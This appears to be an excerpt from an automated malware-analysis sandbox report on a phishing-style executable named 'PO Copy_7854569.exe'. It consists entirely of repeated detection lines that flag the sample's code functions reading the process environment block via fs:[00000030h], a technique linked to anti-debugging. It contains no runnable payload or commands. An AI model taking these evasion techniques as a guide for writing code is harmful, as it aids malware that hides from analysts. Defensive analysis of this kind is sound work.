Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D8350 mov ecx, dword ptr fs:[00000030h] 6_2_016D8350
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0170634F mov eax, dword ptr fs:[00000030h] 6_2_0170634F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01708324 mov eax, dword ptr fs:[00000030h] 6_2_01708324
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01708324 mov ecx, dword ptr fs:[00000030h] 6_2_01708324
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01708324 mov eax, dword ptr fs:[00000030h] 6_2_01708324
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01708324 mov eax, dword ptr fs:[00000030h] 6_2_01708324
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A30B mov eax, dword ptr fs:[00000030h] 6_2_0166A30B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A30B mov eax, dword ptr fs:[00000030h] 6_2_0166A30B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A30B mov eax, dword ptr fs:[00000030h] 6_2_0166A30B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162C310 mov ecx, dword ptr fs:[00000030h] 6_2_0162C310
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01650310 mov ecx, dword ptr fs:[00000030h] 6_2_01650310
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016403E9 mov eax, dword ptr fs:[00000030h] 6_2_016403E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E3F0 mov eax, dword ptr fs:[00000030h] 6_2_0164E3F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E3F0 mov eax, dword ptr fs:[00000030h] 6_2_0164E3F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E3F0 mov eax, dword ptr fs:[00000030h] 6_2_0164E3F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016663FF mov eax, dword ptr fs:[00000030h] 6_2_016663FF
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EC3CD mov eax, dword ptr fs:[00000030h] 6_2_016EC3CD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A3C0 mov eax, dword ptr fs:[00000030h] 6_2_0163A3C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016383C0 mov eax, dword ptr fs:[00000030h] 6_2_016383C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016383C0 mov eax, dword ptr fs:[00000030h] 6_2_016383C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016383C0 mov eax, dword ptr fs:[00000030h] 6_2_016383C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016383C0 mov eax, dword ptr fs:[00000030h] 6_2_016383C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B63C0 mov eax, dword ptr fs:[00000030h] 6_2_016B63C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE3DB mov eax, dword ptr fs:[00000030h] 6_2_016DE3DB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE3DB mov eax, dword ptr fs:[00000030h] 6_2_016DE3DB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE3DB mov ecx, dword ptr fs:[00000030h] 6_2_016DE3DB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE3DB mov eax, dword ptr fs:[00000030h] 6_2_016DE3DB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D43D4 mov eax, dword ptr fs:[00000030h] 6_2_016D43D4
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D43D4 mov eax, dword ptr fs:[00000030h] 6_2_016D43D4
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E388 mov eax, dword ptr fs:[00000030h] 6_2_0162E388
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E388 mov eax, dword ptr fs:[00000030h] 6_2_0162E388
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E388 mov eax, dword ptr fs:[00000030h] 6_2_0162E388
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165438F mov eax, dword ptr fs:[00000030h] 6_2_0165438F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165438F mov eax, dword ptr fs:[00000030h] 6_2_0165438F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628397 mov eax, dword ptr fs:[00000030h] 6_2_01628397
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628397 mov eax, dword ptr fs:[00000030h] 6_2_01628397
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628397 mov eax, dword ptr fs:[00000030h] 6_2_01628397
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634260 mov eax, dword ptr fs:[00000030h] 6_2_01634260
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634260 mov eax, dword ptr fs:[00000030h] 6_2_01634260
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634260 mov eax, dword ptr fs:[00000030h] 6_2_01634260
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162826B mov eax, dword ptr fs:[00000030h] 6_2_0162826B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E0274 mov eax, dword ptr fs:[00000030h] 6_2_016E0274
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B8243 mov eax, dword ptr fs:[00000030h] 6_2_016B8243
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B8243 mov ecx, dword ptr fs:[00000030h] 6_2_016B8243
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0170625D mov eax, dword ptr fs:[00000030h] 6_2_0170625D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A250 mov eax, dword ptr fs:[00000030h] 6_2_0162A250
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636259 mov eax, dword ptr fs:[00000030h] 6_2_01636259
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EA250 mov eax, dword ptr fs:[00000030h] 6_2_016EA250
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EA250 mov eax, dword ptr fs:[00000030h] 6_2_016EA250
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162823B mov eax, dword ptr fs:[00000030h] 6_2_0162823B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016402E1 mov eax, dword ptr fs:[00000030h] 6_2_016402E1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016402E1 mov eax, dword ptr fs:[00000030h] 6_2_016402E1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016402E1 mov eax, dword ptr fs:[00000030h] 6_2_016402E1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A2C3 mov eax, dword ptr fs:[00000030h] 6_2_0163A2C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A2C3 mov eax, dword ptr fs:[00000030h] 6_2_0163A2C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A2C3 mov eax, dword ptr fs:[00000030h] 6_2_0163A2C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A2C3 mov eax, dword ptr fs:[00000030h] 6_2_0163A2C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A2C3 mov eax, dword ptr fs:[00000030h] 6_2_0163A2C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017062D6 mov eax, dword ptr fs:[00000030h] 6_2_017062D6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016402A0 mov eax, dword ptr fs:[00000030h] 6_2_016402A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016402A0 mov eax, dword ptr fs:[00000030h] 6_2_016402A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov eax, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov ecx, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov eax, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov eax, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov eax, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C62A0 mov eax, dword ptr fs:[00000030h] 6_2_016C62A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E284 mov eax, dword ptr fs:[00000030h] 6_2_0166E284
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E284 mov eax, dword ptr fs:[00000030h] 6_2_0166E284
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B0283 mov eax, dword ptr fs:[00000030h] 6_2_016B0283
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B0283 mov eax, dword ptr fs:[00000030h] 6_2_016B0283
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B0283 mov eax, dword ptr fs:[00000030h] 6_2_016B0283
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166656A mov eax, dword ptr fs:[00000030h] 6_2_0166656A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166656A mov eax, dword ptr fs:[00000030h] 6_2_0166656A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166656A mov eax, dword ptr fs:[00000030h] 6_2_0166656A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638550 mov eax, dword ptr fs:[00000030h] 6_2_01638550
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638550 mov eax, dword ptr fs:[00000030h] 6_2_01638550
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640535 mov eax, dword ptr fs:[00000030h] 6_2_01640535
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E53E mov eax, dword ptr fs:[00000030h] 6_2_0165E53E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E53E mov eax, dword ptr fs:[00000030h] 6_2_0165E53E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E53E mov eax, dword ptr fs:[00000030h] 6_2_0165E53E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E53E mov eax, dword ptr fs:[00000030h] 6_2_0165E53E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E53E mov eax, dword ptr fs:[00000030h] 6_2_0165E53E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6500 mov eax, dword ptr fs:[00000030h] 6_2_016C6500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704500 mov eax, dword ptr fs:[00000030h] 6_2_01704500
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E5E7 mov eax, dword ptr fs:[00000030h] 6_2_0165E5E7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016325E0 mov eax, dword ptr fs:[00000030h] 6_2_016325E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C5ED mov eax, dword ptr fs:[00000030h] 6_2_0166C5ED
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C5ED mov eax, dword ptr fs:[00000030h] 6_2_0166C5ED
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E5CF mov eax, dword ptr fs:[00000030h] 6_2_0166E5CF
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E5CF mov eax, dword ptr fs:[00000030h] 6_2_0166E5CF
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016365D0 mov eax, dword ptr fs:[00000030h] 6_2_016365D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A5D0 mov eax, dword ptr fs:[00000030h] 6_2_0166A5D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A5D0 mov eax, dword ptr fs:[00000030h] 6_2_0166A5D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B05A7 mov eax, dword ptr fs:[00000030h] 6_2_016B05A7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B05A7 mov eax, dword ptr fs:[00000030h] 6_2_016B05A7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B05A7 mov eax, dword ptr fs:[00000030h] 6_2_016B05A7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016545B1 mov eax, dword ptr fs:[00000030h] 6_2_016545B1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016545B1 mov eax, dword ptr fs:[00000030h] 6_2_016545B1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01632582 mov eax, dword ptr fs:[00000030h] 6_2_01632582
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01632582 mov ecx, dword ptr fs:[00000030h] 6_2_01632582
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01664588 mov eax, dword ptr fs:[00000030h] 6_2_01664588
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E59C mov eax, dword ptr fs:[00000030h] 6_2_0166E59C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BC460 mov ecx, dword ptr fs:[00000030h] 6_2_016BC460
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165A470 mov eax, dword ptr fs:[00000030h] 6_2_0165A470
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165A470 mov eax, dword ptr fs:[00000030h] 6_2_0165A470
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165A470 mov eax, dword ptr fs:[00000030h] 6_2_0165A470
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166E443 mov eax, dword ptr fs:[00000030h] 6_2_0166E443
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EA456 mov eax, dword ptr fs:[00000030h] 6_2_016EA456
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162645D mov eax, dword ptr fs:[00000030h] 6_2_0162645D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165245A mov eax, dword ptr fs:[00000030h] 6_2_0165245A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E420 mov eax, dword ptr fs:[00000030h] 6_2_0162E420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E420 mov eax, dword ptr fs:[00000030h] 6_2_0162E420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162E420 mov eax, dword ptr fs:[00000030h] 6_2_0162E420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162C427 mov eax, dword ptr fs:[00000030h] 6_2_0162C427
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6420 mov eax, dword ptr fs:[00000030h] 6_2_016B6420
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A430 mov eax, dword ptr fs:[00000030h] 6_2_0166A430
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01668402 mov eax, dword ptr fs:[00000030h] 6_2_01668402
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01668402 mov eax, dword ptr fs:[00000030h] 6_2_01668402
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01668402 mov eax, dword ptr fs:[00000030h] 6_2_01668402
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016304E5 mov ecx, dword ptr fs:[00000030h] 6_2_016304E5
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016364AB mov eax, dword ptr fs:[00000030h] 6_2_016364AB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016644B0 mov ecx, dword ptr fs:[00000030h] 6_2_016644B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BA4B0 mov eax, dword ptr fs:[00000030h] 6_2_016BA4B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EA49A mov eax, dword ptr fs:[00000030h] 6_2_016EA49A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638770 mov eax, dword ptr fs:[00000030h] 6_2_01638770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640770 mov eax, dword ptr fs:[00000030h] 6_2_01640770
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166674D mov esi, dword ptr fs:[00000030h] 6_2_0166674D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166674D mov eax, dword ptr fs:[00000030h] 6_2_0166674D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166674D mov eax, dword ptr fs:[00000030h] 6_2_0166674D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630750 mov eax, dword ptr fs:[00000030h] 6_2_01630750
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BE75D mov eax, dword ptr fs:[00000030h] 6_2_016BE75D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672750 mov eax, dword ptr fs:[00000030h] 6_2_01672750
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672750 mov eax, dword ptr fs:[00000030h] 6_2_01672750
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B4755 mov eax, dword ptr fs:[00000030h] 6_2_016B4755
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C720 mov eax, dword ptr fs:[00000030h] 6_2_0166C720
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C720 mov eax, dword ptr fs:[00000030h] 6_2_0166C720
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166273C mov eax, dword ptr fs:[00000030h] 6_2_0166273C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166273C mov ecx, dword ptr fs:[00000030h] 6_2_0166273C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166273C mov eax, dword ptr fs:[00000030h] 6_2_0166273C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AC730 mov eax, dword ptr fs:[00000030h] 6_2_016AC730
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C700 mov eax, dword ptr fs:[00000030h] 6_2_0166C700
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630710 mov eax, dword ptr fs:[00000030h] 6_2_01630710
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01660710 mov eax, dword ptr fs:[00000030h] 6_2_01660710
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016527ED mov eax, dword ptr fs:[00000030h] 6_2_016527ED
